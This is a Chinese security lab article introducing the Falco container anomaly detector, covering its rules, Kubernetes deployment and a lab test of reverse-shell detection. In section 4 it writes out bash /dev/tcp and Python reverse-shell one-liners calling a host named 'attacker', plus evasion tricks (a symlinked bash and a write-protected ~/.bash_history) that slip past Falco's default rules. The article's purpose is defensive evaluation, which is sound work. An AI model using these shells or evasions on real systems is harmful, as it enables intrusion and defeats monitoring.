随着容器技术的兴起,容器运行时的安全监控也成为各方关注的焦点。在各行各业积极上云的今天,如何及时准确发现容器环境内部的安全威胁并进行告警和处置,是容器平台开发运维和应急响应团队必须考虑的问题。Falco作为一款为云原生平台设计的进程异常行为检测工具,支持接入系统调用事件和Kubernetes审计日志,与其他工具相比具有独特优势,能够在前述问题上带给我们很多有益思考。本文希望通过两个场景来探索Falco的特性。
1. Falco简介
1什么是Falco?
Falco是一款由Sysdig开源的进程异常行为检测工具。它既能够检测传统主机上的应用程序,也能够检测容器环境和云平台(主要是Kubernetes和Mesos)。
它能够检测所有涉及系统调用的进程行为。例如:
• 某容器中启动了一个shell
• 某服务进程创建了一个非预期类型的子进程
• /etc/shadow文件被读写
• /dev目录下创建了一个非设备文件
• ls之类的常规系统工具向外进行了对外网络通信
此外,其还可以检测云环境下的特有行为。例如:
• 创建了带有特权容器、挂载敏感路径或使用了宿主机网络的Pod
• 向用户授予大范围权限(例如cluster-admin)
• 创建了带有敏感信息的configmap
那么,Falco与传统的主机安全检测工具有什么不同呢?
“
1. Falco主要依赖于底层Sysdig内核模块提供的系统调用事件流,与用户态工具通过定时采样或轮询方式实现的离散式监控不同,它提供的是一种连续式实时监控功能;
2.与工作在内核层进行系统调用捕获、过滤和监控的工具相比,Falco自身运行在用户空间,仅仅借助内核模块来获得数据,Falco的规则变更和程序起止要更为灵活;
3.与其他既工作内核层又提供用户空间接口的工具相比,Falco具有非常易学的规则语法(可以与SELinux的规法对比)和对云环境的支持。
Falco采用C 语言编写,但它提供了丰富的告警输出方式(后面会提到),因此能够非常方便地与其他工具协同工作。
2程序架构
在进入细节之前,我们希望给出一个“俯瞰”视角,以帮助您建立一个关于Falco的整体概念。
总体来讲,Falco是一个基于规则的进程异常行为检测工具,它目前支持的事件源有两种:
• Sysdig内核模块
• Kubernetes审计日志
其中,Sysdig内核模块提供的是整个宿主机上的实时系统调用事件信息,是Falco依赖的核心事件源。
另外,Falco支持五种输出告警的方式:
• 输出到标准输出
• 输出到文件
• 输出到Syslog
• 输出到HTTP服务
• 输出到其他程序(命令行管道方式)
值得一提的是,最后两种方式使得我们能够很容易将Falco与其他组件或框架组合起来。
下图展示了它的基本架构:
其中,紫色模块为Falco目前支持的输入事件源,绿色模块为目前支持的输出方式,蓝色模块即Falco用户态程序。
3工作原理
Falco采用类似于iptables的规则匹配方式来检测异常。它自带了一份规则文件/etc/falco/falco_rules.yaml 供使用,我们也可以将自己定义的规则放在/etc/falco/falco_rules.local.yaml文件中。
它的异常检测流程是直观的。以系统调用为例:Sysdig内核模块首先加载,用户态的Falco运行后读取并解析本地配置文件和规则文件、初始化规则引擎;一旦有进程做了系统调用,内核模块将捕获到这次调用,并把详细信息传给Falco,Falco对这些信息作规则匹配,如果满足规则就通过约定好的方式输出告警。上述工作流程可以表示如下:
4规则介绍
Falco的规则使用 YAML 描述,一个规则文件(如 /etc/falco/falco_rules.yaml)包含三类元素:
• 规则:一条规则是描述“在什么条件下生成什么样的告警”的规定
• 宏:这里宏的意义与C语言中的基本相同,它是一些“判定条件片段”,能够在不同的规则甚至宏中复用
• 列表:即元素集合,能够被规则、宏或者其他列表使用
从层次上来说,基础条件表达式、列表和宏一起构成规则,规则是最直接被Falco用来判断某一行为是否异常的依赖标准。
一条规则至少由以下必需项构成:规则名、条件、描述文字、输出信息和优先级。
下面是一个规则示例:
代码语言:javascript复制- rule: Terminal shell in container # 规则名:必须是独一无二的名称
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal. # 描述文字:对规则的详细说明
condition: > # 条件:用来筛选事件的过滤表达式(Falco采用Sysdig的过滤语法)
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
output: > # 输出信息:与规则匹配的事件发生时,输出的告警信息
A shell was spawned in a container with an attached terminal (user=%user.name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)
priority: NOTICE # 优先级:表示该事件严重程度,是一个枚举项,枚举范围为['emergency', 'alert', 'critical', 'error', 'warning', 'notice', 'informational', 'debug']
tags: [container, shell, mitre_execution]
毫无疑问,一条规则的核心是“条件”,它决定了一个事件是否应该被视作异常行为。在后面几节中,我们将接触并深入分析一些规则。
更详细的信息请参考官方文档。
二、部署方法
Falco能够直接部署在物理主机上,也能够以容器方式部署,还能以DaemonSet部署在Kubernetes集群中。
在这里,我们给出手动以DaemonSet方式在Kubernetes集群上部署Falco的过程,其他部署方法可以参考官方文档。
1安装内核头文件
前面提到,Falco依赖于Sysdig内核模块。因此,我们需要在Kubernetes集群的每个节点上安装内核头文件:
代码语言:javascript复制sudo apt-get install linux-headers-$(uname -r)
(注:笔者的Kubernetes测试环境节点使用Ubuntu系统,其他Linux发行版使用等效命令安装即可。)
2创建Kubernetes资源
获取远程仓库:
代码语言:javascript复制git clone https://github.com/falcosecurity/falco/
cd falco/integrations/Kubernetes-using-daemonset
创建serviceaccount并提供必要的RABC权限:
代码语言:javascript复制kubectl apply -f Kubernetes-with-rbac/falco-account.yaml
创建Falco服务(如果不需要Kubernetes审计日志作为事件源,可以跳过此步骤):
代码语言:javascript复制kubectl apply -f Kubernetes-with-rbac/falco-service.yaml
创建ConfigMap来存储Falco的配置,这样一来我们即使更改配置也不必重新构建、部署pods:
代码语言:javascript复制mkdir -p Kubernetes-with-rbac/falco-config
cp ../../falco.yaml Kubernetes-with-rbac/falco-config/
cp ../../rules/falco_rules.* Kubernetes-with-rbac/falco-config/
cp ../../rules/Kubernetes_audit_rules.yaml Kubernetes-with-rbac/falco-config/
kubectl create configmap falco-config --from-file=Kubernetes-with-rbac/falco-config
创建DaemonSet:
代码语言:javascript复制kubectl apply -f Kubernetes-with-rbac/falco-daemonset-configmap.yaml
3测试
获取pod日志:
代码语言:javascript复制kubectl logs -l app=falco-example
日志显示Falco已经正常运行:
代码语言:javascript复制* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
Thu Sep 19 02:09:44 2019: Falco initialized with configuration file /etc/falco/falco.yaml
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.yaml:
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/falco_rules.local.yaml:
Thu Sep 19 02:09:44 2019: Loading rules from file /etc/falco/Kubernetes_audit_rules.yaml:
Thu Sep 19 02:09:45 2019: Starting internal webserver, listening on port 8765
02:09:45.241612000: Notice Privileged container started (user=root command=container:0b07c858a9a0 Kubernetes.ns=default Kubernetes.pod=falco-daemonset-hgbp9 container=0b07c858a9a0 image=falcosecurity/falco:0.17.0) Kubernetes.ns=default Kubernetes.pod=falco-daemonset-hgbp9 container=0b07c858a9a0
三、“Hello,world”之检测容器内创建Shell
在部署完成后,Falco已经提供了一个现成的规则文件 /etc/falco/falco_rules.yaml 供我们使用。这里我们借助一个简单的场景来体验Falco的功能:容器中启动一个shell,Falco检测出这个异常行为。
1测试
测试环境是拥有两个节点的Kubernetes,Falco以DaemonSet形式部署在上面:
首先,我们连接到某个Falco pod上(这里我们连接到master节点上的pod):
代码语言:javascript复制kubectl attach falco-daemonset-77gct
Master节点上事先已经运行了一个ubuntu容器,现在我们尝试在这个容器里打开一个shell:
代码语言:javascript复制docker exec -it b769 /bin/bash
从下图中可以看到,在shell打开的同时,Falco就给出了告警提示:
2规则分析
下面,我们来看一看这一切是如何发生的:
首先从 /etc/falco/falco_rules.yaml 中找到被触发的检测规则:
代码语言:javascript复制- rule: Terminal shell in container
desc: A shell was used as the entrypoint/exec point into a container with an attached terminal.
condition: >
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
output: >
A shell was spawned in a container with an attached terminal (user=%user.name %container.info
shell=%proc.name parent=%proc.pname cmdline=%proc.cmdline terminal=%proc.tty container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [container, shell, mitre_execution]
上面规则中的条件如下:
代码语言:javascript复制 condition: >
spawned_process and container
and shell_procs and proc.tty != 0
and container_entrypoint
其中,spawned_process、container 和 shell_procs 及 container_entrypoint 是四个宏,我们同样可以在 /etc/falco/falco_rules.yaml 中找到它们:
代码语言:javascript复制- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: spawned_process
condition: evt.type = execve and evt.dir=<
- macro: container
condition: (container.id != host)
- macro: shell_procs
condition: proc.name in (shell_binaries)
- macro: container_entrypoint
condition: (not proc.pname exists or proc.pname in (runc:[0:PARENT], runc:[1:CHILD], runc, docker-runc, exe))
综合上述信息,我们可以将该规则“翻译”为如下语言:
如果一个事件指明“在某容器中”启动了一个“新进程”,进程名是“常见shell的名称”,分配“有终端”且角色为“容器入口进程”,那么该事件被判定为notice级别的异常,一个告警将被输出。
最终,我们得到这样一个告警信息:
代码语言:javascript复制03:04:49.103073119: Notice A shell was spawned in a container with an attached terminal (user=root Kubernetes.ns=<NA> Kubernetes.pod=<NA> container=b769d5606d87 shell=bash parent=runc cmdline=bash terminal=34817 container_id=b769d5606d87 image=ubuntu) Kubernetes.ns=<NA> Kubernetes.pod=<NA> container=b769d5606d87
四、“Hello,world”之对抗反弹Shell
在做了以上初步尝试后,笔者不满足于这种简单实验,希望能够在更有意义的场景下探索Falco,从而更好地体会它的优势与不足。
我们知道,常见的攻击往往从Web服务入手:攻击者首先收集各种信息,进行各种测试,然后借助注入或文件上传等手段拿到Webshell,接着通常会利用Webshell来反弹一个真正的shell(考虑到传统内网防火墙拦进不拦出的特性,反弹shell要比监听shell可用性更高)到自己控制的机器,最终利用这个shell进行权限提升、横向渗透、访问维持和痕迹清理等后渗透阶段的活动。
因此,“反弹shell”往往在整个攻击过程中起到非常重要的作用。那么,Falco能否用来检测反弹shell的建立呢?
在第一节中,Falco现有规则已经能够检测到容器中入口进程执行shell的情况。其实我们只需要对该规则的条件做一点改动,就能够实现本节的目的:
代码语言:javascript复制 condition: >
spawned_process and container
and shell_procs and proc.tty != 0
具体而言,我们依然使用 /etc/falco/falco_rules.yaml 作为规则文件,只是删去了其中“Terminal shell in container”这一规则的“shell必须作为容器入口进程”限制。
1第一次测试
现在来试一下!
为了方便调试,本节我们采用直接在master上安装运行Falco的方式。我们将开启三个终端窗口:
其中,右下方是Falco终端,用来在master上运行Falco;上方的是victim终端,用来模拟攻击者建立反弹shell的操作;左下方是attacker终端,用来监听反弹shell请求。
首先,我们在attacker终端中开启监听:
代码语言:javascript复制ncat -l -p 10000
在falco终端启动检测:
代码语言:javascript复制falco
接着,在victim终端创建常用的反弹shell:
代码语言:javascript复制bash -i >& /dev/tcp/attacker/10000 0>&1
攻击者在attacker终端成功获得了反弹shell,然而,Falco终端给出了两条告警:
告警分别为:
• 检测到系统程序接收/发送了网络流量
• 检测到容器内开启了一个shell
2第一次绕过
好了,看来借助Falco来检测反弹shell至少是可行的。那么,攻击者是否能够绕过上面的检测呢?
我们来分析一下情况。
第一个告警在第一节中没有出现过,但的确也是基于 /etc/falco/falco_rules.yaml 中的规则生成的:
代码语言:javascript复制- rule: System procs network activity
desc: any network activity performed by system binaries that are not expected to send or receive any network traffic
condition: >
(fd.sockfamily = ip and (system_procs or proc.name in (shell_binaries)))
and (inbound_outbound)
and not proc.name in (systemd, hostid, id)
and not login_doing_dns_lookup
output: >
Known system binary sent/received network traffic
(user=%user.name command=%proc.cmdline connection=�.name container_id=%container.id image=%container.image.repository)
priority: NOTICE
tags: [network, mitre_exfiltration]
相关的宏和列表如下:
代码语言:javascript复制- macro: system_procs
condition: proc.name in (coreutils_binaries, user_mgmt_binaries)
- list: shell_binaries
items: [ash, bash, csh, ksh, sh, tcsh, zsh, dash]
- macro: inbound_outbound
condition: >
(((evt.type in (accept,listen,connect) and evt.dir=<)) or
(fd.typechar = 4 or fd.typechar = 6) and
(fd.ip != "0.0.0.0" and fd.net != "127.0.0.0/8") and
(evt.rawres >= 0 or evt.res = EINPROGRESS))
- list: coreutils_binaries
items: [
truncate, sha1sum, numfmt, fmt, fold, uniq, cut, who,
groups, csplit, sort, expand, printf, printenv, unlink, tee, chcon, stat,
basename, split, nice, "yes", whoami, sha224sum, hostid, users, stdbuf,
base64, unexpand, cksum, od, paste, nproc, pathchk, sha256sum, wc, test,
comm, arch, du, factor, sha512sum, md5sum, tr, runcon, env, dirname,
tsort, join, shuf, install, logname, pinky, nohup, expr, pr, tty, timeout,
tail, "[", seq, sha384sum, nl, head, id, mkfifo, sum, dircolors, ptx, shred,
tac, link, chroot, vdir, chown, touch, ls, dd, uname, "true", pwd, date,
chgrp, chmod, mktemp, cat, mknod, sync, ln, "false", rm, mv, cp, echo,
readlink, sleep, stty, mkdir, df, dir, rmdir, touch
]
- list: user_mgmt_binaries
items: [login_binaries, passwd_binaries, shadowutils_binaries]
- list: login_binaries
items: [
login, systemd, '"(systemd)"', systemd-logind, su,
nologin, faillog, lastlog, newgrp, sg
]
- list: passwd_binaries
items: [
shadowconfig, grpck, pwunconv, grpconv, pwck,
groupmod, vipw, pwconv, useradd, newusers, cppw, chpasswd, usermod,
groupadd, groupdel, grpunconv, chgpasswd, userdel, chage, chsh,
gpasswd, chfn, expiry, passwd, vigr, cpgr, adduser, addgroup, deluser, delgroup
]
- list: shadowutils_binaries
items: [
chage, gpasswd, lastlog, newgrp, sg, adduser, deluser, chpasswd,
groupadd, groupdel, addgroup, delgroup, groupmems, groupmod, grpck, grpconv, grpunconv,
newusers, pwck, pwconv, pwunconv, useradd, userdel, usermod, vigr, vipw, unix_chkpwd
]
仔细思考后发现,第一条规则的条件中比较容易突破的点是 (system_procs or proc.name in (shell_binaries)))。我们可以将上面的列表理解为黑名单,那么如果要绕过第一条规则,只需要采用一种不在黑名单上的方式即可,例如借助Python来建立反弹shell:
代码语言:javascript复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
3第二次测试
执行上述命令,攻击者再次获得了shell,可以看到,告警也只有一条关于shell的了:
4第二次绕过
那么,如何绕过剩下这个告警呢?思路是类似的,我们只需要使用黑名单之外的shell即可(上面的Python代码实质上调用了/bin/sh)。然而,规则文件中shell列表基本上把常见shell都包含进去了:[ash, bash, csh, ksh, sh, tcsh, zsh, dash],想再找出一个其他的shell,不太容易。因此,我们考虑别的思路。例如,可以尝试软链接的方式变相为shell改名(普通用户权限不能直接修改 /bin/sh 的文件名;另外,为了规避可能发生的动态链接问题我们也不借助拷贝来实现改名,事实上这样也是可行的):
代码语言:javascript复制ln -s /bin/bash /tmp/fake_bash
将前面的反弹shell中的/bin/sh替换掉:
代码语言:javascript复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",10000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/tmp/fake_bash","-i"]);'
5第三次测试
执行上述命令,攻击者又获得了shell ,而且这次Falco没有任何告警:
6触发隐藏剧情
虽然表面上看起来没有任何告警被触发,但是新的问题会出现:当攻击者在反弹shell中执行过命令然后退出时,当前shell会自动向 ~/.bash_history 文件写入执行过的命令历史记录,这个操作同样会触发告警:
我们看一下原因,同样从 /etc/falco/falco_rules.yaml 文件中找到相应规则:
代码语言:javascript复制- rule: Modify Shell Configuration File
desc: Detect attempt to modify shell configuration files
condition: >
open_write and
(fd.filename in (shell_config_filenames) or
fd.name in (shell_config_files) or
fd.directory in (shell_config_directories)) and
not proc.name in (shell_binaries)
output: >
a shell configuration file has been modified (user=%user.name command=%proc.cmdline file=�.name container_id=%container.id image=%container.image.repository)
priority:
WARNING
tag: [file, mitre_persistence]
逻辑很简单,我们不再给出相应的宏和列表。原因也很简单:~/.bash_history 一定是被监控的shell配置文件之一。
知道了原因,我们也有了绕过方案。一种比较取巧的方式是,直接限制用户自己对 ~/.bash_history 文件的写入:
代码语言:javascript复制chmod u-w ~/.bash_history
先执行上述命令,再使用上面给出的Python 软链接方式创建反弹shell,整个过程终于不再触发任何告警:
五、总结
从前面实验中的两次绕过来看,似乎Falco的自带规则并不十分准确。在实验中,我们尽量减少对Falco自带规则文件的修改,正是为了尽可能模拟真实场景,探索这么做会带来什么问题。现实中,许多开发、运维人员常常不去修改默认配置或文件,认为配备了安全防护设施后就可以高枕无忧。然而,许多安全事故正是来自这些看似不起眼的地方。无论多么先进的技术,只有融入到具体情况千差万别的生产环境中,安全运营团队持续地采用多种检测手段交叉验证、形成闭环,才能真正有效发挥作用。
另外,笔者认为,作为一种适用于云环境的“无状态”的“系统调用级别”实时异常行为检测工具,Falco提供了稳定可信的原子异常事件序列,这已足够。
诚然,我们可以根据具体生产环境的特点去构建更复杂、严格的检测规则,使规则更难被绕过,但是随着时间的推移和攻击技术的发展,这样的检测规则势必会陷入“过度拟合”的状态,难于维护和进化,难免百密一疏。
也许,一个更优雅灵活的防护机制是,将Falco作为底层异常事件源,在其上应用异常检测算法构建出一套“有状态”的异常检测系统。这样的系统能够从异常事件序列中解读出更高层次的攻击行为,且易于维护和进化:在大部分情况下,我们只需要修改上层检测模型,使之适应当前环境即可。
参考链接:
[1].Falco官方文档
[2].SELinux, Seccomp, Sysdig Falco, and you: A technical discussion
拓展阅读:
[1].How to identify malicious IP activity using Falco
[2].How to detect Kubernetes vulnerability CVE-2019-11246 using Falco.
[3].High Interaction Honeypots with Sysdig and Falco
内容编辑:星云实验室 阮博男 责任编辑:肖晴